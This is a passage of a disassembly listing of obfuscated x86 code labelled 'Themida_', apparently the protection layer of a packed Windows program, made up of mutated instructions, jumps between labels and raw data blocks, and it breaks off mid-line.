loc_53F23B: ; CODE XREF: Themida_:0053A865j add edx, 4 jmp loc_53C848 ; --------------------------------------------------------------------------- dw 0BE68h dd 89000068h, 73E92424h, 66FFFFF9h, 0E9240C89h, 0FFFF6865h ; --------------------------------------------------------------------------- loc_53F25C: ; CODE XREF: Themida_:0053B351j add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] add esp, 4 add esp, 4 push ebp push eax jmp loc_541C5F ; --------------------------------------------------------------------------- loc_53F27E: ; CODE XREF: Themida_:00536B67j mov ebx, 0 add ebx, eax add dword ptr [ebx], 1 jmp loc_53928E ; --------------------------------------------------------------------------- dd 36CE954h, 0BB530000h, 529D1171h, 0C102EBC1h, 0CB8108EBh dd 8A13316h, 6BB5E381h, 0C38156DAh, 3BAE6936h, 70E9DF01h dd 5600001Ah, 43E9E689h, 5AFFFFF0h, 8B24048Fh, 92E92424h dd 50000026h, 0F4060B68h, 0A6FAE94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F2DA: ; CODE XREF: Themida_:0053D8D2j sub esi, 72F073F0h add esi, 69514E1Ch jmp loc_53AA5F ; --------------------------------------------------------------------------- db 89h dd 0E3C15FFBh, 49F38103h, 43362D2Ch, 666AF381h, 0E38124E8h dd 405F38E4h, 0FFBF49E9h, 3FF281FFh, 81C28182h, 6013FEEAh dd 0E9C20172h, 0FFFFD9D2h, 332A44BAh, 0C0C28136h, 1C9CCD5h dd 0E9835AD1h, 6A65E904h, 0EE80FFFFh, 0EC8158CDh, 4, 0B5240C89h dd 8EDC04Fh, 0FE04E5C0h, 720CE9C5h, 0C381FFFFh, 3CBD4812h dd 0EB81C301h, 3CBD4812h, 0C3015A58h, 672EB81h, 0EB815E49h dd 6A2E00B7h, 0B28BE955h, 1489FFFFh, 215EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53F37A: ; CODE XREF: Themida_:0054097Bj shr edi, 1 push esi mov esi, 0DD904E9Fh sub edi, esi pop esi mov ebp, edi pop edi xor edx, ebp jmp loc_536AD1 ; --------------------------------------------------------------------------- loc_53F38F: ; CODE XREF: Themida_:0053C573j jz loc_539941 push dword ptr [edi+1Ch] push eax mov eax, 4C62476Ah add dword ptr [esp+4], 537F6338h sub [esp+4], eax sub dword ptr [esp+4], 537F6338h mov eax, [esp] add esp, 4 pop ecx push edx jmp loc_5398D6 ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 0BB535104h, 14F736FCh, 815BD989h, 6A1651E9h dd 2E1C119h, 0FFD0C9E9h, 66DFE9FFh, 815BFFFFh, 4C2h, 24143300h dd 33241431h, 0E95C2414h, 0FFFF66C9h, 8146D6F7h, 0B4E189C6h dd 0FC59E95Ch, 0B9B3FFFFh, 27E9EB28h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F40F: ; CODE XREF: Themida_:005379E6j mov [esp], eax push 1 push dword ptr [esp] pop eax add esp, 4 and ecx, eax mov eax, [esp] add esp, 4 shr ecx, 0 or eax, eax jz loc_53D7E1 push 26Eh mov [esp], ebx xor dword ptr [esp], 19055407h push dword ptr [esp] jmp loc_53F802 ; --------------------------------------------------------------------------- dw 8B66h dd 6AE92424h db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F457: ; CODE XREF: Themida_:0053B516j sub edi, 2 xchg edi, [esp] jmp loc_53E82E ; --------------------------------------------------------------------------- dw 0D829h dd 6C97E95Bh, 0C281FFFFh, 1A74521Bh, 5D5AD329h, 0FFE639E9h dd 0CFE95CFFh, 66FFFF94h, 3AE99C50h, 87FFFF66h, 248B2414h dd 8BF28924h, 0C4812434h, 4, 0B951FA01h, 0 dd 0FFA203E9h db 0FFh ; --------------------------------------------------------------------------- loc_53F4A5: ; CODE XREF: Themida_:00539DBFj push ebx jmp loc_53F4D0 ; --------------------------------------------------------------------------- loc_53F4AB: ; CODE XREF: Themida_:00536A17j push dword ptr [esp] pop eax jmp loc_5408EB ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFF86B5h, 31240C33h, 6CE9240Ch db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F4C7: ; CODE XREF: Themida_:00536D59j or edx, eax shl edx, 1 jmp loc_53AC89 ; --------------------------------------------------------------------------- loc_53F4D0: ; CODE XREF: Themida_:0053F4A6j pop ecx pop ebx pop ebx shl ecx, 2 neg ecx push edi push esi jmp loc_54025F ; --------------------------------------------------------------------------- db 81h dd 4C6h, 2BD5500h, 0E9000000h, 0C3Ah, 7FD968h, 95C3E900h dd 0EC83FFFFh, 242C8904h, 7C45BF57h, 0FD896112h, 0BD96E95Fh dd 0F388FFFFh, 0D830585Ah, 241C8B66h, 0FF6F35E9h db 0FFh ; --------------------------------------------------------------------------- loc_53F51D: ; CODE XREF: Themida_:00538FDDj pop edx push eax mov eax, 64671B1Dh sub [esp+8], eax pop eax sub dword ptr [esp+4], 6F7770FEh sub [esp+4], edx jmp loc_539613 ; --------------------------------------------------------------------------- loc_53F53A: ; CODE XREF: Themida_:0053D2B9j sub al, 0F3h add al, bl add al, 0F3h pop bx push edi jmp loc_540D9E ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4832414h, 0E9545204h, 0FFFFC5C9h, 240C8B66h dd 4EC81h, 64E90000h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F567: ; CODE XREF: Themida_:0053966Aj push dword ptr [esp] pop ebp push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_53F059 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832424h, 9724E904h, 148BFFFFh, 4C48324h, 29C2CB81h dd 0E3810853h, 402C639Ch, 0FF84CEE9h, 0B60F66FFh, 229DE9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53F5AA: ; CODE XREF: Themida_:005391A0j xor ecx, 0A73DB14Ah xor ebx, ecx pop ecx jmp loc_53AA30 ; --------------------------------------------------------------------------- dd 0D102E1C1h, 43C981E9h, 8168A94Bh, 621807C1h, 59CA01F2h dd 0DC5E9h db 0 ; --------------------------------------------------------------------------- loc_53F5D1: ; CODE XREF: Themida_:0054025Aj or ecx, 57A1D51h sub ecx, 166157CCh or ecx, 0E7A362Ch add ecx, 27724A50h add ebx, 0A1793Bh add ebx, ecx push esi jmp loc_535B7E ; --------------------------------------------------------------------------- loc_53F5F7: ; CODE XREF: Themida_:0053D276j add esp, 4 jmp loc_5395F3 ; --------------------------------------------------------------------------- dw 815Dh dd 4C5h, 4BE5600h, 1000000h, 0F780E9F5h, 0E328FFFFh, 148B5866h dd 4C48124h, 30000000h, 5BE95BD8h, 57000005h, 0C781E789h dd 4, 8904EC83h, 0BA522404h, 5CD95D80h, 50A661B8h, 5AD02966h dd 12213525h, 224E948h, 0C6010000h, 4DE76858h, 9AE90000h dd 29FFFF8Bh, 0C2AAE9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F666: ; CODE XREF: Themida_:0053C843j add esp, 4 or eax, eax jmp loc_53CA59 ; --------------------------------------------------------------------------- loc_53F673: ; CODE XREF: Themida_:005367B0j mov esi, 182F7D46h push esi add dword ptr [esp], 220A1FA8h pop ebp sub ebp, 220A1FA8h jmp loc_537666 ; --------------------------------------------------------------------------- loc_53F68C: ; CODE XREF: Themida_:00536227j jmp loc_535AC1 ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 8 dd 0FFCA59E9h, 243C89FFh, 4EC81h, 0C890000h, 2723B924h dd 0CF890B54h, 0FFF9FAE9h, 242C89FFh, 4BDh, 8BEB0100h dd 0BFE9242Ch db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53F6C3: ; CODE XREF: Themida_:00538372j sub eax, ebp pop ebp jmp loc_539577 ; --------------------------------------------------------------------------- db 66h dd 44E932FFh, 5CFFFFBFh, 0FF241489h, 0E9042474h, 0FFFFFBE3h ; --------------------------------------------------------------------------- loc_53F6E0: ; CODE XREF: Themida_:00541391j mov ecx, [esp] jmp loc_54139F ; --------------------------------------------------------------------------- dd 405h, 40500h, 4870000h, 535E5C24h, 30D2B850h, 85682050h dd 89000028h, 4872404h, 0BD1AE924h, 8852FFFFh, 0ACECE9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F716: ; CODE XREF: Themida_:005361F8j sub ecx, 143B289Fh sub ecx, 6789101Dh jmp loc_537CDB ; --------------------------------------------------------------------------- loc_53F727: ; CODE XREF: Themida_:0053A8CEj push edi mov edi, 0FE5F000Eh add eax, edi mov edi, [esp] add esp, 4 jmp loc_535B8E ; --------------------------------------------------------------------------- loc_53F73A: ; CODE XREF: Themida_:00536B37j mov [esp], ecx mov ecx, 76AA2A84h shr ecx, 3 add ecx, 20163853h xor ecx, 0D1E2CF0h add ecx, 176377CFh jmp loc_536B5D ; --------------------------------------------------------------------------- dd 241C335Ah, 33241C31h, 59E9241Ch, 66FFFF6Ah, 3AF5C381h dd 66C30166h, 3AF5EB81h, 0FFDFC2E9h, 67CD81FFh, 81349C41h dd 774F89CDh, 0EBED8143h, 0E9FFFFEFh, 0FFFF9A11h, 0BD242C89h dd 41D04D0Ah, 0FFBA33E9h, 243C89FFh, 0FFD96EE9h, 241C29FFh dd 50D3F75Bh, 3E0068h, 242C8900h, 9714DEBDh, 36E5B81Eh dd 3BE92697h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53F7C7: ; CODE XREF: Themida_:0053E1D4j pop edi shl ecx, 1 shr ecx, 4 push esi mov esi, 20F4F2D4h sub ecx, 47974E22h add ecx, esi add ecx, 47974E22h pop esi jmp loc_538D2C ; --------------------------------------------------------------------------- db 68h dd 7633CB8h, 0FFB29EE9h, 0EC835CFFh, 24048904h, 4B8h, 0FE50E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F802: ; CODE XREF: Themida_:0053F449j pop eax add esp, 4 push esi jmp loc_5380FC ; --------------------------------------------------------------------------- db 0F7h dd 0CAE945DDh, 0FFFFFFB9h, 565B2434h, 14C1E9h, 0E9EC8800h dd 0FFFFB672h, 0E2EE8159h, 0F7569F61h, 86EE81D6h, 56177058h dd 3C756668h, 81465E25h, 20078FEEh, 79CE8139h, 8120E359h dd 0FFFFFFC6h, 0FDB850FFh, 0F71B507Bh, 7AB635D8h, 0C601ACAEh dd 5EF00158h, 0AD2DF001h, 5E35017Ch, 1D9D68h, 0E47CE900h dd 1025FFFFh, 40102F61h, 1DA9E9h, 6EAC100h, 0C281DAF7h dd 7BD5C5D6h, 11D4E9h db 0 ; --------------------------------------------------------------------------- loc_53F891: ; CODE XREF: Themida_:005370C0j pop esp add dword ptr [esp+4], 59CE6543h add [esp+4], ecx sub dword ptr [esp+4], 59CE6543h pop ecx jmp loc_539A4F ; --------------------------------------------------------------------------- dd 957B951h, 0CE893F2Fh, 0FFFF6FE9h, 8BD301FFh, 0CAE92414h dd 68FFFFF2h, 4CAAh, 14FFE9h, 87E95500h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F8D3: ; CODE XREF: Themida_:005383AFj mov edx, 6777681h jmp loc_53CF33 ; --------------------------------------------------------------------------- loc_53F8DD: ; CODE XREF: Themida_:005390A7j add eax, edi pop edi jmp loc_53967C ; --------------------------------------------------------------------------- db 53h, 0B7h, 0C8h dd 14E9A604h, 31000011h, 0CB015DE9h, 68515559h, 5A1345AAh dd 0EF5FE959h, 85B9FFFFh, 0E9E488DAh, 0FFFFD1A6h, 9D1C77FFh dd 4105866h, 0A6E99C24h, 81FFFF61h, 4C1h, 4C18100h, 87000000h dd 15C240Ch, 14875EF2h, 1191E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53F936: ; CODE XREF: Themida_:005370FDj push 2E11h mov [esp], edi push ebx jmp loc_54092D ; --------------------------------------------------------------------------- loc_53F944: ; CODE XREF: Themida_:00538D78j xchg ecx, [esp] pop esp push ecx push edi push ebx mov ebx, 370D1FA1h mov edi, ebx jmp loc_540BCC ; --------------------------------------------------------------------------- db 66h dd 18DE6859h, 0D3E90000h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F963: ; CODE XREF: Themida_:0053C6CDj add dword ptr [esp], 4 jmp loc_535AFE ; --------------------------------------------------------------------------- loc_53F96C: ; CODE XREF: Themida_:0053E077j mov [esp], edi mov edi, 24A749CBh mov eax, edi pop edi not eax dec eax add eax, 39175FC0h mov ebx, eax pop eax add [esp+4], ebx jmp loc_54074B ; --------------------------------------------------------------------------- loc_53F98B: ; CODE XREF: Themida_:0053D63Aj add esp, 4 add eax, 4 xchg eax, [esp] pop esp push 5EA3h mov [esp], esi push ebp sub esp, 4 mov [esp], esi mov esi, 1 mov ebp, esi mov esi, [esp] add esp, 4 push edx mov edx, ebp mov esi, edx pop edx push dword ptr [esp] pop ebp add esp, 4 and eax, esi jmp loc_537F33 ; --------------------------------------------------------------------------- dw 248Bh dd 60EFE924h, 1C89FFFFh, 0C8C5E924h, 0C781FFFFh, 277700D4h dd 5EE9C701h, 81FFFFBAh, 4E468DEFh, 9CF78106h, 29D88785h dd 243C8BFAh, 8104C483h, 0C62C74EDh, 900EE928h, 8166FFFFh dd 664C88CBh, 66FFEB83h, 0FFFFEB81h, 0D4EB8166h, 0CC2FE98Fh dd 0C281FFFFh, 4, 4BB53h, 0DA010000h, 2414875Bh, 0E9C8295Ch dd 0FFFF87A5h ; --------------------------------------------------------------------------- loc_53FA38: ; CODE XREF: Themida_:0053C52Ej pop ebx pop dword ptr [esp] jmp loc_53A546 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 0FFE7BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_53FA49: ; CODE XREF: Themida_:00537F1Fj shl esi, 8 push edx push edi jmp loc_53CF8D ; --------------------------------------------------------------------------- db 8Bh dd 0C4812414h, 4, 65E9F201h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53FA63: ; CODE XREF: Themida_:0053CBCCj mov esi, [esp] add esp, 4 push edi mov edi, esp add edi, 4 push ebp mov ebp, 1F131BCh or ebp, 1507102Bh neg ebp sub ebp, 0EA08CE3Dh add edi, ebp mov ebp, [esp] add esp, 4 xor edi, [esp] jmp loc_53C4DF ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4EC8359h, 89242C89h, 1836E9E5h, 0BF570000h, 75A919DCh dd 815FFD01h, 0FB4DD8EDh, 5DEB0175h, 2B2568h, 24148900h dd 0FF7F22E9h, 89525CFFh, 4C281E2h, 83000000h, 148704EAh dd 91E95C24h, 5BFFFF62h, 2C07E8C0h, 0E9C3003Ah, 0FFFFCB6Eh dd 2098C681h, 54E912D6h, 66FFFFCFh, 81240C8Bh, 2C4h, 0DB46E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53FB06: ; CODE XREF: Themida_:00536796j push dword ptr [esp] pop ebp add esp, 4 jmp loc_539130 ; --------------------------------------------------------------------------- db 4Bh, 81h, 0C3h dd 0FBA73B9Dh, 515BDA01h, 2B9h, 2EC28100h, 81722355h, 0AE2337EAh dd 81CA0154h, 0AE2337C2h, 0BAEE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53FB3E: ; CODE XREF: Themida_:00541DD9j mov [esp], eax mov eax, esp jmp loc_53D5F9 ; --------------------------------------------------------------------------- aL4Sw db '‹4$éw ',0 align 10h dd 0E92434FFh, 283Ah, 0C8BE828h, 0E63AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53FB62: ; CODE XREF: Themida_:00535ADFj add esp, 4 neg cl push ax jmp loc_53FE14 ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 24041166h, 5F43E99Ch, 0F659FFFFh, 0B47CE9DEh dd 0EC81FFFFh, 2, 240C8966h, 2C4EB050h, 4EC8157h, 89000000h dd 5EB62414h, 8087C680h, 0F68027EEh, 5AF030E3h, 5158C588h dd 0A7E9FAB1h, 81FFFF71h, 4ECh, 240C8900h, 0FFF22FE9h dd 241C89FFh, 453EB951h, 0BD551BFCh, 28B4526h, 0FFA266E9h dd 0C895CFFh, 81595424h, 4C1h, 2C18100h, 68000000h, 331Dh dd 0FF240C89h, 0E9042474h, 0FFFF9081h, 2474FF56h, 2434FF04h dd 0E789575Eh, 4C781h, 0BB530000h, 4, 875BDF01h, 0AE9243Ch dd 81FFFFE6h, 4C6h, 2C68300h, 5ACD68h, 24348900h, 0FF7135E9h dd 0E9575CFFh, 0FFFF8470h, 5B054840h, 31DB47C7h, 0E58158C5h dd 61784CE3h, 5307EDC1h, 102ABD55h, 0CD8136FCh, 550143DCh dd 0CD81D5F7h, 49B57BE6h, 0E907E5C1h, 0FFFFE725h, 4240483h dd 0FFE6EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_53FC75: ; CODE XREF: Themida_:0053AD2Ej and ebx, 505E7CAEh push edi mov edi, 0CA20C73h dec edi and edi, 496967E1h add edi, 0F2F3BFAh add edi, 58C05381h sub edi, 65D6037h and ebx, edi jmp loc_540C96 ; --------------------------------------------------------------------------- db 80h, 0EBh, 56h dd 8DC0B60Fh, 0E9558704h, 0FFFFD78Fh, 81E38953h, 4C3h dd 4EB8300h, 0FF8959E9h, 0EC815BFFh, 4, 0B8240489h, 1965675Ch dd 5303E8C1h, 55204EBBh, 5BD8097Ch, 0ADBF5752h, 0E904D97Dh dd 0FFFF6A01h ; --------------------------------------------------------------------------- loc_53FCE8: ; CODE XREF: Themida_:0053D40Cj pop esi sub esi, 793E4846h mov eax, esi pop esi add eax, 27B14DA4h sub eax, 7C670AECh add eax, edi add eax, 7C670AECh sub eax, 27B14DA4h push edx mov edx, 0 add edx, eax add [edx], esi mov edx, [esp] jmp loc_53D7CC ; --------------------------------------------------------------------------- dw 0B951h dd 76C626FBh, 2959CA01h, 0FBEA81F2h, 8B76C626h, 0C4812434h dd 4, 4F04EA81h, 0C20118FAh, 4F04C281h, 0D06818FAh, 8900003Eh dd 0E9532404h, 188Eh, 0AD443635h, 58C3013Bh, 0EB81EB29h dd 2B81449Fh, 3760EB81h, 0ECE9066Ah, 5AFFFFABh, 5E2434FFh dd 8104C483h, 4C6h, 4C6E6800h, 2C890000h, 0B335E924h, 6664FFFFh dd 6602B60Fh, 6651CB68h, 0E9240489h, 0FFFF5D29h, 875FFD01h dd 0F5C242Ch, 0A868C8BEh, 8900000Dh, 12E9240Ch, 52FFFF5Dh dd 0B668E289h, 89000019h, 4B82404h, 1000000h, 0EA8358C2h dd 74FF5202h, 0E95A0424h, 0FFFF9A3Ch, 2C481h, 34300000h dd 24343224h, 0E9243430h, 0FFFFD261h, 5C243487h, 68240C89h dd 1, 0FF9B05E9h, 59CD31FFh, 875DEB29h, 895C241Ch, 9C502414h dd 0FF5CB8E9h, 0B35352FFh, 0E90BB677h, 0FFFFB2CAh ; --------------------------------------------------------------------------- loc_53FE14: ; CODE XREF: Themida_:0053FB69j mov ah, 0A6h sub cl, ah jmp loc_536604 ; --------------------------------------------------------------------------- db 68h, 2 dup(0) dd 3BE90000h, 5CFFFFE4h, 840FC009h, 0FFFFAAAAh, 44C168h dd 24348900h, 0FEBEh, 1C772100h db 8Bh, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_53AD63 ; --------------------------------------------------------------------------- dw 0F281h dd 48DD6472h, 1B8FF281h, 0C1422E53h, 0DAF706E2h, 7201EA81h dd 0D3013628h, 0C3815A5Ah, 55143B02h, 0B60F66h, 0FFB797E9h dd 4946BEFFh, 0BB5344EDh, 0BB12B6BEh, 4F63C681h, 97E93A5Ch dd 81FFFFC3h, 6DBEBDF2h, 0E9D129D3h, 0FFFFD280h, 0FF5C14E9h db 0FFh ; --------------------------------------------------------------------------- loc_53FEAD: ; CODE XREF: Themida_:00540BB0j add ebp, 6E001980h pop esi and eax, ebp push dword ptr [esp] jmp loc_535B75 ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0BD550000h, 1E087B87h, 81FFED83h, 0FFFFFFC5h dd 83F581FFh, 11E087Bh, 242C8BE9h, 4C481h, 0FF510000h dd 59042474h, 8B24048Fh, 51E92424h, 55FFFFF6h, 0A5D6CBDh dd 5DEB290Bh, 7BE9CB01h, 0BAFFFF6Dh, 0DBA1F4CDh, 40E9D601h dd 8BFFFFFBh, 0A6E92424h, 89FFFF5Bh, 87E92404h db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53FF23: ; CODE XREF: Themida_:0053EA2Bj mov esi, [esp] add esp, 4 mov edi, [esp] push 26E9h mov [esp], esi mov esi, esp add esi, 4 jmp loc_53D82C ; --------------------------------------------------------------------------- loc_53FF41: ; CODE XREF: Themida_:005402FFj not edx and edx, 62536919h not edx add edx, 473B72F1h mov edi, edx pop edx and edi, 1F3F53F8h sub edi, 42802ECh add ebx, edi pop edi add ebx, 4 xchg ebx, [esp] pop esp shr eax, 0Eh xor eax, ecx push 0A78h mov [esp], eax xchg edi, [esp] push edi jmp loc_539E28 ; --------------------------------------------------------------------------- dd 4240483h, 4EC8358h, 0BD242C89h, 6BC22A95h, 2A91ED81h dd 0E8016BC2h, 0FF8302E9h, 9DE95CFFh db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53FFA3: ; CODE XREF: Themida_:0053BE87j pop eax sub eax, 79453B65h pop ecx add edi, eax pop eax jmp loc_5376D9 ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFFCADBh, 0CF3088B7h, 0C3B65259h, 5AF700h, 2434FFF8h dd 0FF627BE9h, 576856FFh, 5E0E7435h, 0FFD917E9h, 0E9DE89FFh dd 0FFFF67BBh, 0D6868h, 240C8900h, 4245ECB9h, 5BC1812Eh dd 8101204Fh, 0DD2097F1h, 34C18111h, 2DC1404Ah, 282E220Ch dd 0C05C801h, 59282E22h, 7FBEBB53h, 0EB814231h, 42317FBCh dd 335BD829h, 4312404h, 24043324h, 6624248Bh, 0E9240489h dd 0FFFF5A91h ; --------------------------------------------------------------------------- loc_540030: ; CODE XREF: Themida_:0054195Cj add dword ptr [esp], 0FFFFFFFFh push dword ptr [esp] pop eax add esp, 4 push esi push esp pop esi add esi, 4 push edx mov edx, 2DA13798h sub edx, 387C4AA2h inc edx push esi mov esi, 44242FAh not esi xor esi, 7ADB2277h shl esi, 7 shr esi, 5 neg esi jmp loc_53D923 ; --------------------------------------------------------------------------- db 33h dd 1C31241Ch, 241C3324h, 0C83B665Ch, 5A3FE99Ch, 8B66FFFFh dd 54522404h, 0D3F6E95Ah, 8953FFFFh, 4C381E3h, 83000000h dd 1C8704C3h, 0EC815C24h, 4, 0E9240C89h, 0FFFFFE12h ; --------------------------------------------------------------------------- loc_5400AC: ; CODE XREF: Themida_:00537E4Bj pop edx jmp loc_53A718 ; --------------------------------------------------------------------------- loc_5400B2: ; CODE XREF: Themida_:0054180Bj mov ebx, [esp] push edx mov edx, esp jmp loc_541A7C ; --------------------------------------------------------------------------- db 0ACh, 0E9h, 4Ah db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5400C3: ; CODE XREF: Themida_:00536C7Dj xor ebx, esi mov esi, [esp] jmp loc_53DB44 ; --------------------------------------------------------------------------- db 83h, 0C0h, 4 dd 0FFBCE8E9h, 0E2E9ADFFh, 1FFFFA4h, 0A0EB81F3h, 5E419A7Ah dd 0B850C301h, 0CB354Ch, 5167EB81h, 0EB81435Dh, 77B83ABDh dd 18F6E9h, 5EF70100h, 5C243C87h, 8904EC83h, 48E9242Ch dd 5200000Ch, 0C2815A54h, 4, 4EA81h, 14870000h, 4895C24h dd 8D5FE924h, 0EE81FFFFh, 71F721D0h, 1B43C681h, 0EE0109AEh dd 1B43EE81h, 0C68109AEh, 71F721D0h, 8B2434FFh, 0C481242Ch dd 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg esi, [esp] mov esp, [esp] jmp loc_539B2C ; --------------------------------------------------------------------------- db 5Ah dd 4BE56h, 0BB530000h, 5AA05E12h, 755DE981h, 0D9292EEFh dd 0FF7048E9h db 0FFh ; --------------------------------------------------------------------------- loc_540185: ; CODE XREF: Themida_:0053D827j push esi mov esi, 1 mov ebp, esi mov esi, [esp] add esp, 4 and eax, ebp mov ebp, [esp] add esp, 4 or edx, eax shl edx, 1 jmp loc_538FD4 ; --------------------------------------------------------------------------- loc_5401AA: ; CODE XREF: Themida_:005362A0j mov edx, 0 add edx, ecx xor dword ptr [edx], 202C5368h pop edx jmp loc_53BFA0 ; --------------------------------------------------------------------------- db 80h, 0F3h, 9Fh dd 0F686E380h, 0FBC380D3h, 8862F380h, 0ED805BDDh, 744EE9FAh dd 8B66FFFFh, 65682404h, 89000006h, 0E789243Ch, 49B668h dd 241C8900h, 0FFD9AEE9h, 79840FFFh, 57FFFFB4h, 9064BDBFh dd 29F7815Dh, 10D421Bh, 243C8BFEh, 5104C483h, 73D1BD55h dd 0E989548Ch, 0E9CE015Dh, 0FFFF8CB6h, 5D2414F7h, 0FF242C87h dd 3C8B2434h, 4C48324h, 6804C483h, 3548h, 0FF9078E9h, 4C483FFh dd 8B24048Fh, 0B0E92424h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540247: ; CODE XREF: Themida_:0053D27Dj push 171Ch mov [esp], ecx mov ecx, 51EB708Bh xor ecx, 1FC15D9Bh jmp loc_53F5D1 ; --------------------------------------------------------------------------- loc_54025F: ; CODE XREF: Themida_:0053F4DAj mov esi, 3D604C5Ah xor esi, 6C636F7Dh shr esi, 2 dec esi add esi, 6B1BA7DEh push esi sub dword ptr [esp], 0CC47FCDh pop edi add edi, 0CC47FCDh pop esi push 111h mov [esp], ecx mov ecx, 37613654h add edi, ecx mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_53BB27 ; --------------------------------------------------------------------------- aYhN db 'Yh N',0 dw 8900h dd 5EE92434h, 68FFFF5Bh, 4018h, 68241489h, 4C35h, 43AE9h dd 0E2814A00h, 27124ECBh, 0C103EAC1h, 68E907E2h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5402DB: ; CODE XREF: Themida_:0053BB2Ej xor edi, 0D26B4C08h add ecx, edi pop edi push ecx add dword ptr [esp], 60702FD4h pop ebx jmp loc_541073 ; --------------------------------------------------------------------------- loc_5402F2: ; CODE XREF: Themida_:00540842j mov edx, 5626484Bh add edx, 7D2D0636h neg edx jmp loc_53FF41 ; --------------------------------------------------------------------------- loc_540304: ; CODE XREF: Themida_:0053BDA7j push ebx push edi mov edi, 0B0DDB64Dh mov ebx, edi mov edi, [esp] add esp, 4 sub edx, ebx pop ebx sub eax, edx pop edx mov ebp, eax push dword ptr [esp] pop eax jmp loc_536D38 ; --------------------------------------------------------------------------- db 31h dd 75685FF8h, 89000040h, 68552434h, 4E7A169Ch, 8EC5815Dh dd 8977373Eh, 0F0315DEEh, 0FFF7FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_540349: ; CODE XREF: Themida_:005381A6j mov [esp], eax mov eax, 4 sub esi, 544A51ECh add esi, eax add esi, 544A51ECh mov eax, [esp] jmp loc_536DFF ; --------------------------------------------------------------------------- db 0BAh dd 3D7E7DC1h, 96E9DAF7h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540373: ; CODE XREF: Themida_:0053713Bj mov edx, esp jmp loc_53BA46 ; --------------------------------------------------------------------------- loc_54037A: ; CODE XREF: Themida_:0053DB68j mov edi, 1E211B32h xor eax, edi pop edi push esi mov esi, 40E63313h and eax, esi pop esi push edx mov edx, 54097045h jmp loc_5420CB ; --------------------------------------------------------------------------- dw 5155h dd 2B243481h, 5D22865Bh, 5B2BF581h, 8F552286h, 242C8B02h dd 9E17E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5403B2: ; CODE XREF: Themida_:0053B1A8j inc ebx or ebx, 100579DAh xor ebx, 57241E4Fh xor esi, ebx pop ebx dec esi add esi, 7BAD7CA0h neg esi push ebp jmp loc_541BAD ; --------------------------------------------------------------------------- db 81h, 0EAh, 18h dd 291BE70Dh, 18C281FAh, 0E91BE70Dh, 0FFFF691Bh ; --------------------------------------------------------------------------- loc_5403E4: ; CODE XREF: Themida_:0053A788j pop esp add eax, 3AB878C4h add eax, 2F926952h add eax, ebx sub eax, 2F926952h sub eax, 3AB878C4h push edi mov edi, 6EA144CBh sub eax, edi jmp loc_53CC60 ; --------------------------------------------------------------------------- dd 0E95FFA01h, 0FFFF56B1h ; --------------------------------------------------------------------------- loc_540410: ; CODE XREF: Themida_:0053CD6Fj mov ebx, ecx pop ecx sub esp, 4 mov [esp], ebx pop ebp mov ebx, [esp] add esp, 4 push esi mov esi, 46274E8Bh or esi, 509053CBh not esi and esi, 4491660Eh sub esi, 4CCD5E2Ch sub ebp, 6E001980h jmp loc_540BAE ; --------------------------------------------------------------------------- db 66h dd 6866595Ah, 896638F0h, 14B7241Ch, 20E95166h, 58FFFFA2h dd 5478BE56h, 56E9108Bh db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54046B: ; CODE XREF: Themida_:0053AC24j pop eax add [esp+4], esi push dword ptr [esp] pop esi add esp, 4 mov edx, [esp] add esp, 4 push ebp mov ebp, 6E5A22F2h shl ebp, 2 xor ebp, 0DBE6AA31h sub edx, ebp pop ebp mov eax, edx jmp loc_53BB39 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 2424895Ch, 4BA52h, 54010000h, 0BCE90424h, 68FFFFF8h dd 992h, 0E9240489h, 0FFFF5605h, 4C481h, 48F0000h, 34FF5C24h dd 2434FF24h, 0E924048Bh, 